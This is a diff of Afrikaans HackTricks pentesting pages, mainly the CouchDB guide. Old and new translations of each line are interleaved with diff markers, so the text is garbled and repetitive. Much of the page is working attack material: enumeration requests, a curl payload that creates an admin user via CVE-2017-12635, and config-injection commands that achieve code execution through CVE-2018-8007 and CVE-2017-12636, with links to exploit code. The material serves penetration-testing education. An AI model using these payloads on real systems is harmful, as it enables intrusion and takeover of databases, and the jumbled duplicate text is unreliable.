Hierdie stuur 'n GET-versoek na die geïnstalleerde CouchDB-instantie. Die antwoord moet lyk soos een van die volgende:
|
||||
Dit stuur 'n GET-versoek na die geïnstalleerde CouchDB-instantie. Die antwoord behoort soos een van die volgende te lyk:
|
||||
```bash
|
||||
{"couchdb":"Welcome","version":"0.10.1"}
|
||||
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Let daarop dat as jy toegang tot die wortel van couchdb kry, ontvang jy 'n `401 Unauthorized` met iets soos dit: `{"error":"unauthorized","reason":"Authentication required."}` **jy sal nie in staat wees om** die banier of enige ander eindpunt te bereik nie.
|
||||
Let daarop dat as jy toegang tot die wortel van couchdb verkry en jy 'n `401 Unauthorized` ontvang met iets soos: `{"error":"unauthorized","reason":"Authentication required."}` **jy nie in staat sal wees om** die banner of enige ander eindpunt te bekom nie.
|
||||
{% endhint %}
|
||||
|
||||
### Info Enumerasie
|
||||
|
||||
Dit is die eindpunte waar jy toegang kan verkry met 'n **GET** versoek en interessante inligting kan onttrek. Jy kan [**meer eindpunte en meer gedetailleerde beskrywings in die couchdb dokumentasie vind**](https://docs.couchdb.org/en/latest/api/index.html).
|
||||
Hierdie is die eindpunte waar jy toegang kan verkry met 'n **GET** versoek en 'n paar interessante inligting kan onttrek. Jy kan [**meer eindpunte en meer gedetailleerde beskrywings in die couchdb dokumentasie vind**](https://docs.couchdb.org/en/latest/api/index.html).
|
||||
|
||||
* **`/_active_tasks`** Lys van lopende take, insluitend die taak tipe, naam, status en proses ID.
|
||||
* **`/_all_dbs`** Gee 'n lys van al die databasisse in die CouchDB instansie.
|
||||
* **`/_cluster_setup`** Gee die status van die node of kluster, volgens die kluster opset wizard.
|
||||
* **`/_db_updates`** Gee 'n lys van alle databasis gebeure in die CouchDB instansie. Die bestaan van die `_global_changes` databasis is nodig om hierdie eindpunt te gebruik.
|
||||
* **`/_membership`** Vertoon die nodes wat deel is van die kluster as `cluster_nodes`. Die veld `all_nodes` vertoon alle nodes wat hierdie node van weet, insluitend diegene wat deel is van die kluster.
|
||||
* **`/_scheduler/jobs`** Lys van replikasie take. Elke taak beskrywing sal bron en teiken inligting, replikasie ID, 'n geskiedenis van onlangse gebeure, en 'n paar ander dinge insluit.
|
||||
* **`/_scheduler/docs`** Lys van replikasie dokument state. Sluit inligting in oor alle dokumente, selfs in `voltooide` en `mislukte` toestande. Vir elke dokument gee dit die dokument ID, die databasis, die replikasie ID, bron en teiken, en ander inligting.
|
||||
* **`/_all_dbs`** Retourneer 'n lys van al die databasisse in die CouchDB instansie.
|
||||
* **`/_cluster_setup`** Retourneer die status van die node of kluster, volgens die kluster opstelling wizard.
|
||||
* **`/_db_updates`** Retourneer 'n lys van al die databasis gebeurtenisse in die CouchDB instansie. Die bestaan van die `_global_changes` databasis is vereis om hierdie eindpunt te gebruik.
|
||||
* **`/_membership`** Vertoon die nodes wat deel is van die kluster as `cluster_nodes`. Die veld `all_nodes` vertoon al die nodes waarvan hierdie node weet, insluitend diegene wat deel is van die kluster.
|
||||
* **`/_scheduler/jobs`** Lys van replikaasietake. Elke taak beskrywing sal bron en teiken inligting insluit, replikaasie id, 'n geskiedenis van onlangse gebeurtenisse, en 'n paar ander dinge.
|
||||
* **`/_scheduler/docs`** Lys van replikaasie dokument state. Sluit inligting in oor al die dokumente, selfs in `completed` en `failed` state. Vir elke dokument keer dit die dokument ID, die databasis, die replikaasie ID, bron en teiken, en ander inligting terug.
|
||||
* **`/_scheduler/docs/{replicator_db}`**
|
||||
* **`/_scheduler/docs/{replicator_db}/{docid}`**
|
||||
* **`/_node/{node-name}`** Die `/_node/{node-name}` eindpunt kan gebruik word om die Erlang node naam van die bediener wat die versoek verwerk, te bevestig. Dit is die nuttigste wanneer jy toegang tot `/_node/_local` verkry om hierdie inligting te herwin.
|
||||
* **`/_node/{node-name}/_stats`** Die `_stats` hulpbron gee 'n JSON voorwerp wat die statistieke vir die lopende bediener bevat. Die letterlike string `_local` dien as 'n skuilnaam vir die plaaslike node naam, so vir alle statistieke URL's kan `{node-name}` vervang word met `_local`, om met die plaaslike node se statistieke te kommunikeer.
|
||||
* **`/_node/{node-name}/_system`** Die \_system hulpbron gee 'n JSON voorwerp wat verskeie stelselvlak statistieke vir die lopende bediener bevat\_.\_ Jy kan \_\_`_local` as {node-name} gebruik om die huidige node inligting te kry.
|
||||
* **`/_node/{node-name}`** Die `/_node/{node-name}` eindpunt kan gebruik word om die Erlang node naam van die bediener wat die versoek verwerk te bevestig. Dit is die nuttigste wanneer jy toegang tot `/_node/_local` verkry om hierdie inligting te verkry.
|
||||
* **`/_node/{node-name}/_stats`** Die `_stats` hulpbron retourneer 'n JSON objek wat die statistieke vir die lopende bediener bevat. Die letterlike string `_local` dien as 'n alias vir die plaaslike node naam, so vir al die stats URL's, kan `{node-name}` vervang word met `_local`, om met die plaaslike node se statistieke te kommunikeer.
|
||||
* **`/_node/{node-name}/_system`** Die \_system hulpbron retourneer 'n JSON objek wat verskeie stelselniveau statistieke vir die lopende bediener bevat. Jy kan \_\_`_local` as {node-name} gebruik om huidige node inligting te verkry.
|
||||
* **`/_node/{node-name}/_restart`**
|
||||
* **`/_up`** Bevestig dat die bediener op, besig is, en gereed is om op versoek te reageer. As [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) `true` of `nolb` is, sal die eindpunt 'n 404 respons gee.
|
||||
* **`/_uuids`** Versoek een of meer Universally Unique Identifiers (UUID's) van die CouchDB instansie.
|
||||
* **`/_reshard`** Gee 'n telling van voltooide, mislukte, lopende, gestop, en totale take, tesame met die toestand van resharding op die kluster.
|
||||
* **`/_up`** Bevestig dat die bediener op, lopende, en gereed is om op versoeke te reageer. As [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) `true` of `nolb` is, sal die eindpunt 'n 404 antwoord teruggee.
|
||||
* **`/_uuids`** Versoek een of meer Universally Unique Identifiers (UUIDs) van die CouchDB instansie.
|
||||
* **`/_reshard`** Retourneer 'n telling van voltooide, mislukte, lopende, gestopte, en totale take saam met die toestand van herskakeling op die kluster.
|
||||
|
||||
Meer interessante inligting kan soos hier verduidelik onttrek word: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
||||
Meer interessante inligting kan onttrek word soos hier verduidelik: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
||||
|
||||
### **Databasis Lys**
|
||||
```
|
||||
curl -X GET http://IP:5984/_all_dbs
|
||||
```
|
||||
As daardie versoek **reageer met 'n 401 ongemagtig**, dan het jy **geldige geloofsbriewe** nodig om toegang tot die databasis te verkry:
|
||||
As die versoek **antwoord gee met 'n 401 nie-geautoriseer nie**, dan het jy **geldige akrediteer** nodig om toegang tot die databasis te verkry:
|
||||
```
|
||||
curl -X GET http://user:password@IP:5984/_all_dbs
|
||||
```
|
||||
Om geldige Geldeenhede te vind, kan jy probeer om die diens te **bruteforce** (kragtig aanval) [**bruteforce die diens**](../generic-methodologies-and-resources/brute-force.md#couchdb).
|
||||
Om geldige Kredensiale te vind, kan jy **probeer om** [**die diens te bruteforce**](../generic-methodologies-and-resources/brute-force.md#couchdb).
|
||||
|
||||
Hierdie is 'n **voorbeeld** van 'n couchdb **reaksie** wanneer jy genoeg voorregte het om databasisse te lys (Dit is net 'n lys van databasisse):
|
||||
Dit is 'n **voorbeeld** van 'n couchdb **antwoord** wanneer jy **genoeg voorregte** het om databasisse te lys (Dit is net 'n lys van db's):
|
||||
```bash
|
||||
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
|
||||
```
|
||||
### Databasisinligting
|
||||
### Database Info
|
||||
|
||||
Jy kan sekere databasisinligting verkry (soos die aantal lêers en groottes) deur toegang tot die databasisnaam:
|
||||
Jy kan 'n paar databasisinligting verkry (soos die aantal lêers en groottes) deur toegang te verkry tot die databasenaam:
|
||||
```bash
|
||||
curl http://IP:5984/<database>
|
||||
curl http://localhost:5984/simpsons
|
||||
#Example response:
|
||||
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
|
||||
```
|
||||
### **Dokumentelys**
|
||||
### **Dokumentlys**
|
||||
|
||||
Lys elke inskrywing binne 'n databasis.
|
||||
Lys elke inskrywing binne 'n databasis
|
||||
```bash
|
||||
curl -X GET http://IP:5984/{dbname}/_all_docs
|
||||
curl http://localhost:5984/simpsons/_all_docs
|
||||
|
@ -130,9 +118,9 @@ curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
|
|||
#Example response:
|
||||
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
|
||||
```
|
||||
## CouchDB Voorregverhoging [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
||||
## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
||||
|
||||
Dankie aan die verskille tussen Erlang en JavaScript JSON-parser kan jy **'n administrateurgebruiker skep** met die volgende verifikasie:
|
||||
As gevolg van die verskille tussen Erlang en JavaScript JSON parsers, kan jy **'n admin gebruiker skep** met die geloofsbriewe `hacktricks:hacktricks` met die volgende versoek:
|
||||
```bash
|
||||
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
|
||||
```
|
||||
|
@ -140,28 +128,28 @@ curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[]
|
|||
|
||||
## CouchDB RCE
|
||||
|
||||
### **Erlang Koekie Sekuriteits Oorsig**
|
||||
### **Erlang Koekie Sekuriteit Oorsig**
|
||||
|
||||
Voorbeeld [van hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
|
||||
In die CouchDB dokumentasie, spesifiek in die gedeelte wat handel oor die opstel van 'n klasternetwerk ([skakel](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), word die gebruik van poorte deur CouchDB in 'n klasterverbinding bespreek. Daar word genoem dat, soos in enkelvoudige modus, poort `5984` gebruik word. Daarbenewens is poort `5986` vir node-plaaslike API's, en belangrik, Erlang vereis TCP-poort `4369` vir die Erlang Port Mapper Daemon (EPMD), wat node kommunikasie in 'n Erlang-klasternetwerk fasiliteer. Hierdie opstelling vorm 'n netwerk waar elke node met elke ander node gekoppel is.
|
||||
In die CouchDB dokumentasie, spesifiek in die afdeling wat cluster opstelling betref ([skakel](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), word die gebruik van poorte deur CouchDB in 'n kluster modus bespreek. Daar word genoem dat, soos in die standalone modus, poort `5984` gebruik word. Boonop is poort `5986` vir node-lokale API's, en belangrik, Erlang vereis TCP poort `4369` vir die Erlang Port Mapper Daemon (EPMD), wat node kommunikasie binne 'n Erlang kluster fasiliteer. Hierdie opstelling vorm 'n netwerk waar elke node met elke ander node verbind is.
|
||||
|
||||
'n Belangrike sekuriteitsadvies word uitgelig met betrekking tot poort `4369`. As hierdie poort oopgestel word vir die internet of enige onbetroubare netwerk, is die stelsel se sekuriteit sterk afhanklik van 'n unieke identifiseerder wat bekend staan as die "koekie." Hierdie koekie tree op as 'n beskerming. Byvoorbeeld, in 'n gegewe proseslys kan die koekie genaamd "monster" waargeneem word, wat dui op sy operasionele rol in die stelsel se sekuriteitsraamwerk.
|
||||
'n Belangrike sekuriteitsadvies word beklemtoon rakende poort `4369`. As hierdie poort oor die Internet of enige onbetroubare netwerk toeganklik gemaak word, hang die stelsel se sekuriteit sterk af van 'n unieke identifiseerder bekend as die "koekie." Hierdie koekie dien as 'n beskerming. Byvoorbeeld, in 'n gegewe proseslys, kan die koekie met die naam "monster" waargeneem word, wat sy operasionele rol in die stelsel se sekuriteitsraamwerk aandui.
|
||||
```
|
||||
www-data@canape:/$ ps aux | grep couchdb
|
||||
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
|
||||
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
|
||||
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
|
||||
```
|
||||
Vir diegene wat belangstel om te verstaan hoe hierdie "koekie" uitgebuit kan word vir Remote Code Execution (RCE) binne die konteks van Erlang-stelsels, is daar 'n toegewyde afdeling beskikbaar vir verdere leeswerk. Dit beskryf die metodologieë vir die benutting van Erlang-koekies op ongemagtigde wyse om beheer oor stelsels te verkry. Jy kan **[die gedetailleerde gids oor die misbruik van Erlang-koekies vir RCE hier verken](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
|
||||
Vir diegene wat belangstel om te verstaan hoe hierdie "cookie" vir Remote Code Execution (RCE) binne die konteks van Erlang-stelsels uitgebuit kan word, is daar 'n toegewyde afdeling beskikbaar vir verdere lees. Dit beskryf die metodologieë om Erlang-cookies op ongeoorloofde maniere te benut om beheer oor stelsels te verkry. U kan **[die gedetailleerde gids oor die misbruik van Erlang-cookies vir RCE hier verken](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
|
||||
|
||||
### **Uitbuiting van CVE-2018-8007 deur wysiging van local.ini**
|
||||
### **Die uitbuiting van CVE-2018-8007 deur die wysiging van local.ini**
|
||||
|
||||
Voorbeeld [van hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
|
||||
'n Onlangs bekendgemaakte kwesbaarheid, CVE-2018-8007, wat Apache CouchDB affekteer, is ondersoek en daar is bevind dat uitbuiting skryftoestemmings vir die `local.ini`-lêer vereis. Alhoewel dit nie direk van toepassing is op die aanvanklike teikensisteem as gevolg van sekuriteitsbeperkings nie, is wysigings aangebring om skryftoegang tot die `local.ini`-lêer te verleen vir verkenningsdoeleindes. Gedetailleerde stappe en kodevoorbeelde word hieronder verskaf om die proses te demonstreer.
|
||||
'n Onlangs bekendgemaakte kwesbaarheid, CVE-2018-8007, wat Apache CouchDB raak, is ondersoek, wat onthul dat uitbuiting skrywe-toestemmings tot die `local.ini`-lêer vereis. Alhoewel dit nie direk van toepassing is op die aanvanklike teikenstelsel nie weens sekuriteitsbeperkings, is daar wysigings aangebring om skrywe-toegang tot die `local.ini`-lêer vir verkenningsdoeleindes te verleen. Gedetailleerde stappe en kodevoorbeelde word hieronder verskaf, wat die proses demonstreer.
|
||||
|
||||
Eerstens word die omgewing voorberei deur te verseker dat die `local.ini`-lêer skryfbaar is, geverifieer deur die toestemmings te lys:
|
||||
Eerstens, die omgewing word voorberei deur te verseker dat die `local.ini`-lêer skryfbaar is, wat geverifieer word deur die toestemmings te lys:
|
||||
```bash
|
||||
root@canape:/home/homer/etc# ls -l
|
||||
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
|
||||
|
@ -169,11 +157,11 @@ root@canape:/home/homer/etc# ls -l
|
|||
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
|
||||
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
|
||||
```
|
||||
Om die kwesbaarheid uit te buit, word 'n curl-opdrag uitgevoer wat die `cors/origins`-konfigurasie in `local.ini` teiken. Dit voeg 'n nuwe oorsprong by, tesame met addisionele opdragte onder die `[os_daemons]`-afdeling, met die doel om willekeurige kode uit te voer:
|
||||
Om die kwesbaarheid te benut, word 'n curl-opdrag uitgevoer, wat die `cors/origins` konfigurasie in `local.ini` teiken. Dit voeg 'n nuwe oorsprong saam met addisionele opdragte onder die `[os_daemons]` afdeling in, met die doel om arbitrêre kode uit te voer:
|
||||
```bash
|
||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
|
||||
```
|
||||
Daaropvolgende verifikasie wys die geïnjecteerde konfigurasie in `local.ini`, deur dit te vergelyk met 'n rugsteun om die veranderinge te beklemtoon:
|
||||
Subsequent verification shows the injected configuration in `local.ini`, contrasting it with a backup to highlight the changes:
|
||||
```bash
|
||||
root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
||||
119,124d118
|
||||
|
@ -182,17 +170,17 @@ root@canape:/home/homer/etc# diff local.ini local.ini.bk
|
|||
< [os_daemons]
|
||||
< test_daemon = /usr/bin/touch /tmp/0xdf
|
||||
```
|
||||
Aanvanklik bestaan die verwagte lêer (`/tmp/0xdf`) nie, wat aandui dat die ingeslote bevel nog nie uitgevoer is nie. Verdere ondersoek toon dat prosesse wat verband hou met CouchDB uitgevoer word, insluitend een wat moontlik die ingeslote bevel kan uitvoer:
|
||||
Aanvanklik bestaan die verwagte lêer (`/tmp/0xdf`) nie, wat aandui dat die ingespuitde opdrag nog nie uitgevoer is nie. Verdere ondersoek toon dat prosesse wat verband hou met CouchDB aan die gang is, insluitend een wat moontlik die ingespuitde opdrag kan uitvoer:
|
||||
```bash
|
||||
root@canape:/home/homer/bin# ps aux | grep couch
|
||||
```
|
||||
deur die geïdentifiseerde CouchDB-proses te beëindig en die stelsel toe te laat om dit outomaties te herlaai, word die uitvoering van die ingeslote bevel geaktiveer, bevestig deur die bestaan van die vorige ontbrekende lêer:
|
||||
Deur die geïdentifiseerde CouchDB-proses te beëindig en die stelsel toe te laat om dit outomaties te herbegin, word die uitvoering van die ingespotte opdrag geaktiveer, bevestig deur die bestaan van die voorheen ontbrekende lêer:
|
||||
```bash
|
||||
root@canape:/home/homer/etc# kill 711
|
||||
root@canape:/home/homer/etc# ls /tmp/0xdf
|
||||
/tmp/0xdf
|
||||
```
|
||||
Hierdie verkenning bevestig die lewensvatbaarheid van CVE-2018-8007 uitbuiting onder spesifieke omstandighede, veral die vereiste vir skryftoegang tot die `local.ini` lêer. Die voorsiene kodevoorbeelde en prosedurele stappe bied 'n duidelike gids vir die herhalings van die uitbuiting in 'n beheerde omgewing.
|
||||
Hierdie verkenning bevestig die lewensvatbaarheid van CVE-2018-8007 uitbuiting onder spesifieke toestande, veral die vereiste vir skryfbare toegang tot die `local.ini`-lêer. Die verskafde kodevoorbeelde en prosedurele stappe bied 'n duidelike gids om die uitbuiting in 'n beheerde omgewing te herhaal.
|
||||
|
||||
Vir meer besonderhede oor CVE-2018-8007, verwys na die advies deur mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
|
||||
|
||||
|
@ -200,38 +188,38 @@ Vir meer besonderhede oor CVE-2018-8007, verwys na die advies deur mdsec: [CVE-2
|
|||
|
||||
Voorbeeld [van hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
|
||||
'n Kwesbaarheid bekend as CVE-2017-12636 is ondersoek, wat kodering moontlik maak via die CouchDB-proses, alhoewel spesifieke konfigurasies die uitbuiting kan voorkom. Ten spyte van talle Proof of Concept (POC) verwysings wat aanlyn beskikbaar is, is aanpassings nodig om die kwesbaarheid op CouchDB-weergawe 2 uit te buit, wat verskil van die algemeen geteikende weergawe 1.x. Die aanvanklike stappe behels die verifieer van die CouchDB-weergawe en die bevestiging van die afwesigheid van die verwagte vraagbedienerpad:
|
||||
'n Kwetsbaarheid bekend as CVE-2017-12636 is verken, wat kode-uitvoering via die CouchDB-proses moontlik maak, alhoewel spesifieke konfigurasies die uitbuiting daarvan kan voorkom. Ten spyte van talle Bewys van Konsep (POC) verwysings wat aanlyn beskikbaar is, is aanpassings nodig om die kwesbaarheid op CouchDB weergawe 2 uit te buit, wat verskil van die algemeen geteikende weergawe 1.x. Die aanvanklike stappe behels die verifikasie van die CouchDB weergawe en die bevestiging van die afwesigheid van die verwagte navraagbedienerspad:
|
||||
```bash
|
||||
curl http://localhost:5984
|
||||
curl http://0xdf:df@localhost:5984/_config/query_servers/
|
||||
```
|
||||
Om CouchDB-weergawe 2.0 te akkommodeer, word 'n nuwe pad gebruik:
|
||||
Om CouchDB weergawe 2.0 te akkommodeer, word 'n nuwe pad gebruik:
|
||||
```bash
|
||||
curl 'http://0xdf:df@localhost:5984/_membership'
|
||||
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
|
||||
```
|
||||
Pogings om 'n nuwe navraagbediener by te voeg en aan te roep, is ontmoet met toestemmingsverwante foute, soos aangedui deur die volgende uitset:
|
||||
Pogings om 'n nuwe vrae-bediener by te voeg en aan te roep, is gekonfronteer met toestemming-verwante foute, soos aangedui deur die volgende uitvoer:
|
||||
```bash
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||
```
|
||||
Verdere ondersoek het toestemmingsprobleme met die `local.ini`-lêer aan die lig gebring, wat nie skryfbaar was nie. Deur die lêerregte te wysig met root- of homer-toegang, was dit moontlik om voort te gaan:
|
||||
Verder ondersoek het toestemmingkwessies met die `local.ini`-lêer aan die lig gebring, wat nie skryfbaar was nie. Deur die lêer se toestemmings met root of homer-toegang te wysig, het dit moontlik geword om voort te gaan:
|
||||
```bash
|
||||
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
|
||||
chmod 666 /home/homer/etc/local.ini
|
||||
```
|
||||
Daaropvolgende pogings om die navraagbediener by te voeg, was suksesvol, soos gedemonstreer deur die afwesigheid van foutboodskappe in die respons. Die suksesvolle wysiging van die `local.ini`-lêer is bevestig deur lêervergelyking:
|
||||
Subsequent pogings om die navraagbediener by te voeg, was suksesvol, soos aangetoon deur die gebrek aan foutboodskappe in die antwoord. Die suksesvolle wysiging van die `local.ini`-lêer is bevestig deur lêervergelyking:
|
||||
```bash
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||
```
|
||||
Die proses het voortgegaan met die skep van 'n databasis en 'n dokument, gevolg deur 'n poging om kode uit te voer deur middel van 'n aangepaste aansig wat gekoppel is aan die nuut toegevoegde navraagbediener:
|
||||
Die proses het voortgegaan met die skep van 'n databasis en 'n dokument, gevolg deur 'n poging om kode uit te voer via 'n pasgemaakte weergawe wat aan die nuut bygevoegde navraagbediener gekoppel is:
|
||||
```bash
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
|
||||
```
|
||||
'n **[opsomming](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** met 'n alternatiewe lading bied verdere insigte in die uitbuiting van CVE-2017-12636 onder spesifieke omstandighede. **Nuttige hulpbronne** vir die uitbuiting van hierdie kwesbaarheid sluit in:
|
||||
A **[opsomming](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** met 'n alternatiewe payload bied verdere insigte in die ontginning van CVE-2017-12636 onder spesifieke omstandighede. **Nuttige hulpbronne** vir die ontginning van hierdie kwesbaarheid sluit in:
|
||||
|
||||
- [POC uitbuitingskode](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
||||
- [POC exploit kode](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
||||
- [Exploit Database inskrywing](https://www.exploit-db.com/exploits/44913/)
|
||||
|
||||
## Shodan
|
||||
|
@ -243,16 +231,17 @@ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design
|
|||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **HackTricks aflaai in PDF** Kyk die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -2,41 +2,42 @@
|
|||
|
||||
## 623/UDP/TCP - IPMI
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
### **Oorsig van IPMI**
|
||||
|
||||
